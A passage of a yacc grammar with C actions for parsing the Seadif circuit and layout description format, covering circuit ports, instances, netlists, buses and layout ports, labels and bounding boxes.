if (sdfstuff & SDFCIRBODY) sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwhat & SDFCIRBODY)
{
junkcir = FALSE;
NewCircuit (circuitptr);
circuitptr->name = canonicstring ($3);
if (sdfverbose) fprintf (stderr, ".........(Circuit \"%s\")\n", circuitptr->name);
}
else
{
junkcir = TRUE;
circuitptr = &junkcircuit;
circuitptr->name = NULL;
}
circuitptr->function = functionptr;
}
_CircuitImpl RBR
{
int thingsstilltobewritten;
if ((thingsstilltobewritten = THINGS (SDFCIRALL, SDF_X_CIRALIAS)))
{
if (sdfcopytheinput)
{ /* First, flush whatever is in the copy buffer up till RBR */
sdfuncopysincelastchar (')'); /* undo the RBR */
sdfdodelayedcopy (0); /* flush */
}
checkthatallcirhasbeenwritten (thingsstilltobewritten);
if (sdfcopytheinput)
sdfpushcharoncopystream (')'); /* redo the RBR */
}
if (makeindex)
{
if (sdflayislastthingincir == SDF_SEEN_NOTHING_YET ||
sdflayislastthingincir == SDF_LETS_KEEP_IT_LIKE_THIS)
/* The good news: we can stop parsing this cir as soon as we encounter a Layout */
thiscirtab->info.state |= SDFFASTPARSE;
}
if (skipthisthingforindex == 3) skipthisthingforindex = 0;
if (sdfstuff & SDFCIRBODY) sdfcopytheinput = TRUE; /* resume copying */
if (junkcir) $$ = NULL;
else { junkcir = TRUE; $$ = circuitptr; }
if (!makeindex && sdfparseonecir) YYACCEPT; /* quit the parser */
}
;
_CircuitImpl :
{
debug ("empty _CircuitImpl")
$$ = circuitptr;
}
| _CircuitImpl Alias
{
if (makeindex && $2) sdfmakeciralias ($2, thiscirtab->name,
thiscirtab->function->name,
thiscirtab->function->library->name);
}
| _CircuitImpl CirPortList
{
debug ("_CircuitImpl CirPortList")
if (!junkcir && circuitptr->cirport)
sdfreport (Warning, "%s\nCircuit '%s' has more than one CirPortList section,\n"
"all but first ignored. (Line %d)", FilNam, circuitptr->name, yylineno);
else
circuitptr->cirport = $2;
$$ = circuitptr;
}
/* | _CircuitImpl Permutable not implemented, but could be useful */
| _CircuitImpl Attribute
{
debug ("_CircuitImpl Attribute")
if (!junkcir && circuitptr->attribute)
sdfreport (Warning, "%s\nCircuit '%s' has more than one Attribute section,\n"
"all but first ignored. (Line %d)", FilNam, circuitptr->name, yylineno);
else
circuitptr->attribute = $2;
$$ = circuitptr;
}
| _CircuitImpl CirInstList
{
debug ("_CircuitImpl CirInstList")
if (!junkcir && circuitptr->cirinst)
sdfreport (Warning, "%s\nCircuit '%s' has more than one CirInstList section,\n"
"all but first ignored. (Line %d)", FilNam, circuitptr->name, yylineno);
else
circuitptr->cirinst = $2;
$$ = circuitptr;
}
| _CircuitImpl NetList
{
debug ("_CircuitImpl NetList")
if (!junkcir && circuitptr->netlist)
sdfreport (Warning, "%s\nCircuit '%s' has more than one NetList,\n"
"all but first ignored. (Line %d)", FilNam, circuitptr->name, yylineno);
else
circuitptr->netlist = $2;
$$ = circuitptr;
}
| _CircuitImpl BusList
{
debug ("_CircuitImpl BusList")
if (!junkcir && circuitptr->buslist)
sdfreport (Warning, "%s\nCircuit '%s' has more than one BusList,\n"
"all but first ignored. (Line %d)", FilNam, circuitptr->name, yylineno);
else
circuitptr->buslist = $2;
$$ = circuitptr;
}
| _CircuitImpl LayoutImpl
{
debug ("_CircuitImpl LayoutImpl")
if ($2) { /* if not junklay... */
($2)->next = circuitptr->layout;
circuitptr->layout = $2;
}
$$ = circuitptr;
}
/* IK, .. and our new timing model */
| _CircuitImpl Timing
{
debug ("_CircuitImpl Timing");
if ($2) { /* if not junktm... */
($2)->next = circuitptr->timing;
circuitptr->timing = $2;
}
$$ = circuitptr;
}
| _CircuitImpl CirStatus
{
debug ("_CircuitImpl Status")
if (!junkcir && circuitptr->status)
sdfreport (Warning, "%s\nCircuit '%s' has more than one Status section,\n"
"all but first ignored. (Line %d)", FilNam, circuitptr->name, yylineno);
else
circuitptr->status = $2;
$$ = circuitptr;
}
| _CircuitImpl Comment
{
$$ = circuitptr;
}
| _CircuitImpl UserData
{
$$ = circuitptr;
}
;
/*
* Library/Function/LogicImpl/CirInterface/CirPort
* Logical terminal description
*/
CirPortList : LBR CIRCUITPORTLIST
{
debug ("LBR CIRCUITPORTLIST");
sdfhavethisthing |= SDFCIRPORT;
if (makeindex) {
if (sdflayislastthingincir == SDF_LETS_KEEP_IT_LIKE_THIS)
/* Will not be able to efficiently parse this circuit */
sdflayislastthingincir = SDF_LOST_CAUSE;
}
if (sdfstuff & SDFCIRPORT) {
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFCIRPORT && sdfwritethiscir->cirport) {
sdfdodelayedcopy (0); /* flush */
dump_cirportlist (sdfcopystream, sdfwritethiscir->cirport);
}
}
cirportlistptr = NULL;
}
_CirPortList RBR
{
debug ("_CirPortList RBR")
if (sdfstuff & SDFCIRPORT) sdfcopytheinput = TRUE; /* resume copying */
$$ = (sdfwhat & SDFCIRPORT) ? cirportlistptr : NULL;
}
;
_CirPortList :
{
debug ("empty _CirPortList")
$$ = cirportlistptr;
}
| _CirPortList CirPort
{
debug ("_CirPortList CirPort")
($2)->next = cirportlistptr;
$$ = cirportlistptr = ($2); /* link CirPort in front of CirPortList and return */
}
;
CirPort : LBR CIRCUITPORT STRNG
{
debug ("LBR CIRCUITPORT STRNG")
if (sdfwhat & SDFCIRPORT) {
NewCirport (cirportptr);
cirportptr->name = canonicstring ($3);
cirportptr->net = NULL;
#ifdef SDF_PORT_DIRECTIONS
cirportptr->direction = SDF_PORT_UNKNOWN;
#endif
}
else
cirportptr = &junkcirport;
}
_CirPort RBR
{
debug ("_CirPort RBR")
$$ = cirportptr;
}
;
_CirPort :
{
debug ("empty _CirPort");
}
| _CirPort Comment
{
debug ("_CirPort Comment");
}
| _CirPort UserData
{
debug ("_CirPort UserData");
}
| _CirPort CirportDirection
;
CirportDirection : LBR DIRECTION STRNG RBR
{
#ifdef SDF_PORT_DIRECTIONS
if (sdfstrcasecmp ($3, "in") == 0)
cirportptr->direction = SDF_PORT_IN;
else if (sdfstrcasecmp ($3, "out") == 0)
cirportptr->direction = SDF_PORT_OUT;
else if (sdfstrcasecmp ($3, "inout") == 0)
cirportptr->direction = SDF_PORT_INOUT;
else {
sdfreport (Error, "Illegal Direction \"%s\"", $3);
cirportptr->direction = SDF_PORT_UNKNOWN;
}
#endif
}
;
BusList : LBR BUSLISTTOKEN
{
debug ("LBR BUSLISTTOKEN")
sdfhavethisthing |= SDFCIRBUS;
if (makeindex) {
if (sdflayislastthingincir == SDF_LETS_KEEP_IT_LIKE_THIS)
/* Will not be able to efficiently parse this circuit */
sdflayislastthingincir = SDF_LOST_CAUSE;
}
if (sdfstuff & SDFCIRBUS) {
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFCIRBUS && sdfwritethiscir->buslist) {
sdfdodelayedcopy (0); /* flush */
dump_buslist (sdfcopystream, sdfwritethiscir->buslist);
}
}
buslistptr = NULL;
}
_BusList RBR
{
debug ("_BusList RBR")
if (sdfstuff & SDFCIRBUS) sdfcopytheinput = TRUE; /* resume copying */
$$ = $4; /* $4 is return value of _BusList */
}
;
_BusList :
{
debug ("empty _BusList")
$$ = buslistptr;
}
| _BusList Bus
{
debug ("_BusList Bus")
($2)->next = buslistptr;
$$ = buslistptr = $2;
}
;
Bus : LBR BUSTOKEN STRNG
{
BUSPTR busptr;
debug ("LBR BUSTOKEN STRNG")
netreflistptr = NULL;
NewBus (busptr);
busptr->name = canonicstring ($3);
$<bus>$ = busptr; /* <bus> is the type of the return value */
}
NetRefList RBR
{
debug ("NetRefList RBR")
($<bus>4)->netref = netreflistptr; /* horrible syntax, isn't it? */
$$ = $<bus>4;
}
;
NetRefList :
{
debug ("empty NetRefList")
$$ = netreflistptr;
}
| NetRefList NetRef
{
debug ("NetRefList NetRef")
($2)->next = netreflistptr;
$$ = netreflistptr = $2; /* link NetRef in front of NetRefList and return */
}
;
NetRef : LBR NETREFTOKEN STRNG
{
NETREFPTR netref;
debug ("LBR NETREFTOKEN STRNG NetPortRefInBus RBR")
NewNetRef (netref);
/* NASTY HACK, we solve this reference later: */
netref->net = (NETPTR)canonicstring ($3);
$<netref>$ = netref;
}
NetPortRefInBus RBR
{
($<netref>4)->cirport = NULL;
$$ = $<netref>4;
}
;
NetPortRefInBus : /* not supported stuff */
{
$$ = NULL;
}
;
/*
* Library/Function/LogicImpl/CirContents/CirInstance
* Model-call construct
* e.g. (cirinstance port_123 (circellref nand2 (cirlibref bieb_2)))
* Maybe the references should be ID numbers instead of strings
*/
CirInstList : LBR CIRCUITINSTANCELIST
{
debug ("LBR CIRCUITINSTANCELIST");
sdfhavethisthing |= SDFCIRINST;
if (sdfstuff & SDFCIRINST)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFCIRINST && sdfwritethiscir->cirinst)
{
sdfdodelayedcopy (0); /* flush */
dump_cirinstlist (sdfcopystream, sdfwritethiscir);
}
}
cirinstlistptr = NULL;
}
_CirInstList RBR
{
debug ("_CirInstList RBR")
if (sdfstuff & SDFCIRINST) sdfcopytheinput = TRUE; /* resume copying */
$$ = (sdfwhat & SDFCIRINST) ? cirinstlistptr : NULL;
}
;
_CirInstList :
{
debug ("empty _CirInstList")
$$ = cirinstlistptr;
}
| _CirInstList CirInstance
{
debug ("_CirInstList CirInstance")
($2)->next = cirinstlistptr;
cirinstlistptr = $2; /* link CirInstance in front of the CirInstList */
$$ = cirinstlistptr;
}
;
CirInstance : LBR CIRCUITINSTANCE STRNG
{
debug ("LBR CIRCUITINSTANCE STRNG")
if (makeindex)
{
if (sdflayislastthingincir == SDF_LETS_KEEP_IT_LIKE_THIS)
/* Will not be able to efficiently parse this circuit */
sdflayislastthingincir = SDF_LOST_CAUSE;
}
if (sdfwhat & SDFCIRINST)
{
NewCirinst (cirinstptr);
cirinstptr->name = canonicstring ($3);
cirinstptr->circuit = HACK; /* Dit worden twee hele NARE HACKS... (see below) */
cirinstptr->curcirc = HACK;
}
else
cirinstptr = &junkcirinst;
}
_CirInstRef OptionalString RBR
{
debug ("_CirInstRef RBR")
cirinstptr->attribute = $6; /* OptionalString is the attribute string */
$$ = cirinstptr;
}
;
OptionalString : /* empty */
{
$$ = (STRING)NULL;
}
| STRNG
{
$$ = canonicstring ($1);
}
;
_CirInstRef : CirCellRef
| _CirInstRef Comment
| _CirInstRef UserData
;
CirCellRef : LBR CIRCUITCELLREF STRNG _Stuff CirFunRef RBR
{
/* This is where we face a problem: we cannot solve the reference
* because it may be that we have not processed the referenced cell.
* We cannot even be sure that the referenced cell is in the current
* library. The solution adapted here is to temporarly store the name
* of the referenced cell in cirinstptr->circuit (with a nasty type
* cast) and the name of the referenced library in cirinstptr->curcirc
* (also requires a type cast). After the parser has finished with
* this Seadif file, another function solves all the references. This
* function may need to call the parser again in order to solve
* references to libraries not present in this Seadif file, etc, etc.
*/
debug ("LBR CIRCUITCELLREF STRNG RBR")
if (sdfwhat & SDFCIRINST)
{
cirinstptr->circuit = (CIRCUITPTR)canonicstring ($3);
cirinstptr->curcirc = (CIRCUITPTR)$5; /* namelist: FunRef,LibRef */
}
$$ = cirinstptr;
}
;
CirFunRef : LBR CIRCUITFUNREF STRNG _Stuff CirLibRef RBR /* Lib implicit */
{
if (sdfwhat & SDFCIRINST)
{
NAMELISTPTR p;
NewNamelist (p);
p->name = canonicstring ($3);
p->next = $5;
$$ = p;
}
else
$$ = (NAMELISTPTR)NULL;
}
| /* empty */
{
$$ = (NAMELISTPTR)NULL;
}
;
CirLibRef : LBR CIRCUITLIBREF STRNG _Stuff RBR
{
if (sdfwhat & SDFCIRINST)
{
NAMELISTPTR p;
NewNamelist (p);
p->name = canonicstring ($3);
p->next = NULL;
$$ = p;
}
else
$$ = (NAMELISTPTR)NULL;
}
| /* empty */
{
$$ = (NAMELISTPTR)NULL;
}
;
/*
* Library/Function/LogicImpl/CirContents/CirNet
* Net construct
* e.g. (cirnet phi1 (joined (cirportref clock_in (cirinstref port_123))
* (cirportref phi_in) nothing specified implies father cell
* (cirportref ck_in (cirinstref port_233))))
*/
NetList : LBR NETLIST
{
debug ("LBR NETLIST");
sdfhavethisthing |= SDFCIRNETLIST;
if (makeindex)
{
if (sdflayislastthingincir == SDF_LETS_KEEP_IT_LIKE_THIS)
/* Will not be able to efficiently parse this circuit */
sdflayislastthingincir = SDF_LOST_CAUSE;
}
if (sdfstuff & SDFCIRNETLIST)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFCIRNETLIST && sdfwritethiscir->netlist)
{
sdfdodelayedcopy (0); /* flush */
dump_netlist (sdfcopystream, sdfwritethiscir->netlist);
}
}
netlistptr = NULL;
}
_NetList RBR
{
debug ("_NetList RBR")
if (sdfstuff & SDFCIRNETLIST) sdfcopytheinput = TRUE; /* resume copying */
$$ = (sdfwhat & SDFCIRNETLIST) ? netlistptr : NULL;
}
;
_NetList :
{
debug ("empty _NetList")
$$ = netlistptr;
}
| _NetList Net
{
debug ("_NetList Net")
($2)->next = netlistptr;
netlistptr = $2; /* link Net in front of the NetList */
$$ = netlistptr;
}
;
Net : LBR NETTOKEN STRNG
{
debug ("LBR NETTOKEN STRNG")
if (sdfwhat & SDFCIRNETLIST)
{
NewNet (netptr);
netptr->name = canonicstring ($3);
netptr->circuit = circuitptr;
cirportreflistptr = NULL;
}
else
netptr = &junknet;
}
_Net RBR
{
debug ("_Net RBR")
netptr->terminals = cirportreflistptr;
$$ = netptr;
}
;
_Net : Joined
{debug ("Joined");}
| _Net Comment
| _Net UserData
;
Joined : LBR JOINED _Joined RBR
{
debug ("LBR JOINED _Joined RBR");
}
;
_Joined : /* empty */
{
debug ("empty _Joined");
}
| _Joined NetPortRef
{
debug ("_Joined NetPortRef")
($2)->next = cirportreflistptr;
cirportreflistptr = $2;
}
| _Joined UserData
{
debug ("_Joined UserData");
}
;
NetPortRef : LBR NETPORTREF
{
debug ("LBR NETPORTREF")
if (sdfwhat & SDFCIRNETLIST)
{
NewCirportref (cirportrefptr);
cirportrefptr->cirport = HACK; /* weer twee nare hacks! */
cirportrefptr->cirinst = HACK;
cirportrefptr->net = netptr;
}
else
cirportrefptr = &junkcirportref;
}
_NetPortRef RBR
{
debug ("_NetPortRef RBR")
$$ = cirportrefptr;
}
;
_NetPortRef : STRNG
{
debug ("STRNG");
if (sdfwhat & SDFCIRNETLIST)
{
/* Nasty type cast, see also CirCellRef (above). */
cirportrefptr->cirport = (CIRPORTPTR)canonicstring ($1);
cirportrefptr->cirinst = NULL; /* No NetInstRef: must refer to circuit's own terminals. */
}
$$ = cirportrefptr;
}
| STRNG NetInstRef
{
debug ("STRNG NetInstRef")
if (sdfwhat & SDFCIRNETLIST)
{
/* Nasty type cast, see also CirCellRef (above). */
cirportrefptr->cirport = (CIRPORTPTR)canonicstring ($1);
/* NetInstRef returns the name of the circuit instance to which this cirport belongs. */
cirportrefptr->cirinst = (CIRINSTPTR)$2;
}
$$ = cirportrefptr;
}
;
NetInstRef : _NetInstRef
{
debug ("_NetInstRef")
$$ = $1;
}
| NetInstRef Comment
{
debug ("NetInstRef Comment")
$$ = $1;
}
| NetInstRef UserData
{
debug ("NetInstRef UserData")
$$ = $1;
}
;
_NetInstRef : LBR NETINSTREF STRNG RBR
{
debug ("LBR NETINSTREF STRNG RBR")
$$ = (sdfwhat & SDFCIRNETLIST) ? canonicstring ($3) : NULL;
}
;
LayoutImpl : LBR LAYOUTTOKEN STRNG
{
int wearecopyingtheinput = sdfcopytheinput;
int thingsstilltobewritten;
debug ("LBR LAYOUTTOKEN LayoutName");
sdfhavethisthing &= ~(SDFLAYALL | SDF_X_LAYALIAS);
sdfhavethisthing |= SDFLAYBODY;
if (!makeindex && sdflayislastthingincir)
{ /* we're gonna abort this parse thing, seems like we've seen enough... */
if (sdfstuff & SDFLAYBODY)
sdfabortcopy (SDFDISCARDSPACES);
if ((thingsstilltobewritten = THINGS (SDFCIRALL, SDF_X_CIRALIAS)))
{
if (wearecopyingtheinput)
sdfdodelayedcopy (0); /* flush */
checkthatallcirhasbeenwritten (thingsstilltobewritten);
}
if (wearecopyingtheinput)
{
/* unfortunately we're also gonna miss the final ')', better simulate one... */
sdfcopytheinput = TRUE;
sdfpushcharoncopystream (')');
}
YYACCEPT;
}
if (makeindex && !skipthisthingforindex)
{
junklayout.name = canonicstring ($3);
if (existslay ($3, thiscirtab->name, thisfuntab->name, thislibtab->name))
{
sdfreport (Error, "Makeindex: multiple layouts (%s(%s(%s(%s))))\n"
" file \"%s\"\n"
" file \"%s\"",
$3, thiscirtab->name, thisfuntab->name, thislibtab->name,
sdffileinfo[(int)sdfcurrentfileidx].name,
sdffileinfo[(int)thislaytab->info.file].name);
skipthisthingforindex = 4; /* 4 means: skip this lay for index */
return (1);
}
else
{
info.what = 0;
info.state = 0;
info.file = sdfcurrentfileidx;
info.fpos = sdfleftparenthesis; /* position of most recent '(' */
addlaytohashtable (&junklayout, thiscirtab, &info);
}
forgetstring (junklayout.name);
}
if (sdfstuff & SDFLAYBODY)
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwhat & SDFLAYBODY)
{
junklay = FALSE;
NewLayout (layoutptr);
layoutptr->name = canonicstring ($3);
if (sdfverbose) fprintf (stderr, "............(Layout \"%s\")\n", layoutptr->name);
}
else
{
junklay = TRUE;
layoutptr = &junklayout;
layoutptr->name = NULL;
}
layoutptr->circuit = circuitptr;
}
_LayoutImpl RBR
{
int thingsstilltobewritten;
if ((thingsstilltobewritten = THINGS (SDFLAYALL, SDF_X_LAYALIAS)))
{
/* Actually, this piece of code would be shorter if we could
* execute it after the rule _LayoutImpl and before RBR. However
* yacc only decides that _LayoutImpl has finished when it encounters
* RBR and consequently the ideal moment for this code to be executed
* can only be determined when it is already too late...
*/
if (sdfcopytheinput)
{ /* First, flush whatever is in the copy buffer up till RBR */
sdfuncopysincelastchar (')'); /* undo the RBR */
sdfdodelayedcopy (0); /* flush */
}
checkthatalllayhasbeenwritten (thingsstilltobewritten);
if (sdfcopytheinput)
sdfpushcharoncopystream (')'); /* redo the RBR */
}
if (skipthisthingforindex == 4)
skipthisthingforindex = 0;
if (sdfstuff & SDFLAYBODY)
sdfcopytheinput = TRUE; /* resume copying */
if (junklay) $$ = NULL;
else
{
junklay = TRUE;
$$ = layoutptr;
}
if (!makeindex && sdfparseonelay)
YYACCEPT; /* quit the parser */
}
;
_LayoutImpl :
{
debug ("empty _LayoutImpl")
$$ = layoutptr;
}
| _LayoutImpl Alias
{
if (makeindex && $2) sdfmakelayalias ($2, thislaytab->name,
thislaytab->circuit->name,
thislaytab->circuit->function->name,
thislaytab->circuit->function->library->name);
}
| _LayoutImpl Attribute /* this currently does nothing....!!! */
{
debug ("_LayoutImpl Attribute")
if (!junklay && layoutptr->layport)
sdfreport (Warning, "%s\nLayout '%s' has more than one Attribute section,\n"
"all but first ignored. (Line %d)", FilNam, layoutptr->name, yylineno);
/* NOT SUPPORTED FOR LAYOUT: layoutptr->attribute = canonicstring ($2); */
$$ = layoutptr;
}
| _LayoutImpl LayPortList
{
debug ("_LayoutImpl LayPortList")
if (!junklay && layoutptr->layport)
sdfreport (Warning, "%s\nLayout '%s' has more than one LayoutPortList section,\n"
"all but first ignored. (Line %d)", FilNam, layoutptr->name, yylineno);
else
layoutptr->layport = sdfwhat&SDFLAYPORT ? $2 : NULL;
$$ = layoutptr;
}
| _LayoutImpl LayLabelList
{
debug ("_LayoutImpl LayLabelList")
if (!junklay && layoutptr->laylabel)
sdfreport (Warning, "%s\nLayout '%s' has more than one LayoutLabelList section,\n"
"all but first ignored. (Line %d)", FilNam, layoutptr->name, yylineno);
else
layoutptr->laylabel = sdfwhat&SDFLAYLABEL ? $2 : NULL;
$$ = layoutptr;
}
| _LayoutImpl LayBoundingBox
{
debug ("_LayoutImpl LayBoundingBox")
if (!junklay && (layoutptr->bbx[HOR] != 0 || layoutptr->bbx[VER] != 0))
sdfreport (Warning, "%s\nLayout '%s' has more than one Layoutbbx section,\n"
"all but first ignored. (Line %d)", FilNam, layoutptr->name, yylineno);
else
{
layoutptr->bbx[HOR] = ($2).hor;
layoutptr->bbx[VER] = ($2).ver;
}
$$ = layoutptr;
}
| _LayoutImpl LayOffset
{
debug ("_LayoutImpl LayOffset")
if (!junklay && (layoutptr->off[HOR] != 0 || layoutptr->off[VER] != 0))
sdfreport (Warning, "%s\nLayout '%s' has more than one LayoutOffset section,\n"
"all but first ignored. (Line %d)", FilNam, layoutptr->name, yylineno);
else
{
layoutptr->off[HOR] = ($2).hor;
layoutptr->off[VER] = ($2).ver;
}
$$ = layoutptr;
}
| _LayoutImpl LayInstList
{
debug ("_LayoutImpl LayInstList")
if (!junklay && layoutptr->slice)
{
sdfreport (Warning, "%s\nLayout '%s' has more than one LayoutInstanceList"
" or LayoutSlice section,\n"
"all but first ignored. (Line %d)", FilNam, layoutptr->name, yylineno);
}
else if (sdfwhat & SDFLAYSLICE)
{
layoutptr->slice = $2;
/* This one calls mfree which is a **DISASTER** if we did not mnew() anything... */
slicecleanup (&layoutptr->slice);
}
$$ = layoutptr;
}
| _LayoutImpl LaySlice
{
debug ("_LayoutImpl LaySlice")
if (!junklay && layoutptr->slice)
{
sdfreport (Warning, "%s\nLayout '%s' has more than one LayoutInstanceList"
" or LayoutSlice section,\n"
"all but first ignored. (Line %d)", FilNam, layoutptr->name, yylineno);
}
else if (sdfwhat & SDFLAYSLICE)
{
layoutptr->slice = $2;
/* This one calls mfree which is a **DISASTER** if we did not mnew() anything... */
slicecleanup (&layoutptr->slice);
}
$$ = layoutptr;
}
| _LayoutImpl WireList
{
debug ("_LayoutImpl WireList")
if (!junklay && layoutptr->wire)
sdfreport (Warning, "%s\nLayout '%s' has more than one WireList section,\n"
"all but first ignored. (Line %d)", FilNam, layoutptr->name, yylineno);
else
layoutptr->wire = sdfwhat&SDFLAYWIRE ? $2 : NULL;
$$ = layoutptr;
}
| _LayoutImpl LayStatus
{
debug ("_LayoutImpl Status")
if (!junklay && layoutptr->status)
sdfreport (Warning, "%s\nLayout '%s' has more than one Status section,\n"
"all but first ignored. (Line %d)", FilNam, layoutptr->name, yylineno);
else
layoutptr->status = $2;
$$ = layoutptr;
}
| _LayoutImpl Comment
{
debug ("_LayoutImpl Comment")
$$ = $1;
}
| _LayoutImpl UserData
{
debug ("_LayoutImpl UserData")
$$ = $1;
}
;
/*
* Library/Function/LogicImpl/LayoutImpl/LayInterface/LayPortList
* Port/terminals on layout level
*/
LayPortList : LBR LAYOUTPORTLIST
{
debug ("LBR LAYOUTPORTLIST");
sdfhavethisthing |= SDFLAYPORT;
if (sdfstuff & SDFLAYPORT)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLAYPORT && sdfwritethislay->layport)
{
sdfdodelayedcopy (0); /* flush */
dump_layportlist (sdfcopystream, sdfwritethislay->layport);
}
}
layportlistptr = NULL;
}
_LayPortList RBR
{
debug ("_LayPortList RBR")
if (sdfstuff & SDFLAYPORT) sdfcopytheinput = TRUE; /* resume copying */
$$ = (sdfwhat & SDFLAYPORT) ? layportlistptr : NULL;
}
;
_LayPortList :
{
debug ("empty _LayPortList")
$$ = layportlistptr;
}
| _LayPortList LayPort
{
debug ("_LayPortList LayPort")
($2)->next = layportlistptr;
layportlistptr = $2;
$$ = layportlistptr;
}
;
LayPort : LBR LAYOUTPORT STRNG
{
debug ("LBR LAYOUTPORT STRNG");
if (sdfwhat & SDFLAYPORT)
{
NewLayport (layportptr);
layportptr->cirport = HACK; /* Just to make clear that this one is going to be misused... */
/* Nasty HACK, as usual. We solve this symbolic reference later. */
layportptr->cirport = (CIRPORTPTR)canonicstring ($3);
}
else
{
layportptr = &junklayport;
/* avoid error message 'more than one..' */
layportptr->pos[HOR] = layportptr->pos[VER] = layportptr->layer = 0;
}
}
_LayPort RBR
{
debug ("_LayPort RBR")
$$ = layportptr;
}
;
_LayPort :
{
debug ("empty _LayPort")
$$ = layportptr;
}
| _LayPort PortPos
{
debug ("_LayPort PortPos")
if (layportptr->pos[HOR] != 0 || layportptr->pos[VER] != 0)
sdfreport (Warning, "%s\nLayPort '%s' has more than one PortPos section,\n"
"all but first ignored. (Line %d)", FilNam, layportptr->cirport/*BEWARE: HACK*/, yylineno);
else
{
layportptr->pos[HOR] = ($2).hor;
layportptr->pos[VER] = ($2).ver;
}
$$ = layportptr;
}
| _LayPort PortLayer
{
debug ("_LayPort PortLayer")
if (layportptr->layer)
sdfreport (Warning, "%s\nLayPort '%s' has more than one Layer section,\n"
"all but first ignored. (Line %d)", FilNam, layportptr->cirport/*BEWARE: HACK*/, yylineno);
else
layportptr->layer = $2;
$$ = layportptr;
}
| _LayPort Comment
{
debug ("_LayPort Comment");
}
| _LayPort UserData
{
debug ("_LayPort UserData");
}
;
PortPos : LBR PORTPOSITION NUMBER NUMBER RBR
{
HORVER hv;
debug ("LBR PORTPOSITION NUMBER NUMBER RBR");
if (sdfwhat & SDFLAYPORT)
{
hv.hor = atos ($3);
hv.ver = atos ($4);
}
$$ = hv;
}
;
PortLayer : LBR PORTLAYER NUMBER RBR
{
debug ("LBR PORTLAYER STRNG RBR")
$$ = (sdfwhat & SDFLAYPORT) ? atos ($3) : 0;
}
;
/*
* Library/Function/LogicImpl/LayoutImpl/LayInterface/LayLabelList
* Labels on layout level
*/
LayLabelList : LBR LAYOUTLABELLIST
{
debug ("LBR LAYOUTLABELLIST");
sdfhavethisthing |= SDFLAYLABEL;
if (sdfstuff & SDFLAYLABEL)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLAYLABEL && sdfwritethislay->laylabel)
{
sdfdodelayedcopy (0); /* flush */
dump_laylabellist (sdfcopystream, sdfwritethislay->laylabel);
}
}
laylabellistptr = NULL;
}
_LayLabelList RBR
{
debug ("_LayLabelList RBR")
if (sdfstuff & SDFLAYLABEL) sdfcopytheinput = TRUE; /* resume copying */
$$ = (sdfwhat & SDFLAYLABEL) ? laylabellistptr : NULL;
}
;
_LayLabelList :
{
debug ("empty _LayLabelList")
$$ = laylabellistptr;
}
| _LayLabelList LayLabel
{
debug ("_LayLabelList LayLabel")
($2)->next = laylabellistptr;
laylabellistptr = $2;
$$ = laylabellistptr;
}
;
LayLabel : LBR LAYOUTLABEL STRNG
{
debug ("LBR LAYOUTLABEL STRNG");
if (sdfwhat & SDFLAYLABEL)
{
NewLaylabel (laylabelptr);
laylabelptr->name = canonicstring ($3);
}
else
{
laylabelptr = &junklaylabel;
/* avoid error message 'more than one..' */
laylabelptr->pos[HOR] = laylabelptr->pos[VER] = laylabelptr->layer = 0;
}
}
_LayLabel RBR
{
debug ("_LayLabel RBR")
$$ = laylabelptr;
}
;
_LayLabel :
{
debug ("empty _LayLabel")
$$ = laylabelptr;
}
| _LayLabel LabelPos
{
debug ("_LayLabel LabelPos")
if (laylabelptr->pos[HOR] != 0 || laylabelptr->pos[VER] != 0)
sdfreport (Warning, "%s\nLayLabel '%s' has more than one LabelPos section,\n"
"all but first ignored. (Line %d)", FilNam, laylabelptr->name, yylineno);
else
{
laylabelptr->pos[HOR] = ($2).hor;
laylabelptr->pos[VER] = ($2).ver;
}
$$ = laylabelptr;
}
| _LayLabel LabelLayer
{
debug ("_LayLabel LabelLayer")
if (laylabelptr->layer)
sdfreport (Warning, "%s\nLayLabel '%s' has more than one Layer section,\n"
"all but first ignored. (Line %d)", FilNam, laylabelptr->name, yylineno);
else
laylabelptr->layer = $2;
$$ = laylabelptr;
}
| _LayLabel Comment
{
debug ("_LayLabel Comment");
}
| _LayLabel UserData
{
debug ("_LayLabel UserData");
}
;
LabelPos : LBR LABELPOSITION NUMBER NUMBER RBR
{
HORVER hv;
debug ("LBR LABELPOSITION NUMBER NUMBER RBR");
if (sdfwhat & SDFLAYLABEL)
{
hv.hor = atos ($3);
hv.ver = atos ($4);
}
$$ = hv;
}
;
LabelLayer : LBR LABELLAYER NUMBER RBR
{
debug ("LBR LABELLAYER STRNG RBR")
$$ = (sdfwhat & SDFLAYLABEL) ? atos ($3) : 0;
}
;
/*
* Library/Function/LogicImpl/LayoutImpl/LayInterface/LayBoundingBox
* bounding box of the circuit
*/
LayBoundingBox : LBR LAYOUTBBX
{
debug ("LBR LAYOUTBBX NUMBER NUMBER RBR");
if (sdfstuff & SDFLAYBBX)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLAYBBX)
{
sdfdodelayedcopy (0); /* flush */
dump_bbx (sdfcopystream, sdfwritethislay->bbx);
}
}
}
NUMBER NUMBER RBR
{
HORVER hv;
sdfhavethisthing |= SDFLAYBBX;
if (sdfstuff & SDFLAYBBX)
sdfcopytheinput = TRUE; /* resume copying */
if (sdfwhat & SDFLAYBBX)
{
hv.hor = atos ($4);
hv.ver = atos ($5);
}
$$ = hv;
}
;
/*
* Library/Function/LogicImpl/LayoutImpl/LayInterface/LayBoundingBox
* offset relative to basic image element
*/
LayOffset : LBR LAYOUTOFFSET
{
debug ("LBR LAYOUTOFFSET NUMBER NUMBER RBR")
if (sdfstuff & SDFLAYOFF)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLAYOFF)
{
sdfdodelayedcopy (0); /* flush */
dump_off (sdfcopystream, sdfwritethislay->off);
}
}
}
NUMBER NUMBER RBR
{
HORVER hv;
sdfhavethisthing |= SDFLAYOFF;
if (sdfstuff & SDFLAYOFF)
sdfcopytheinput = TRUE; /* resume copying */
if (sdfwhat & SDFLAYOFF)
{
hv.hor = atos ($4);
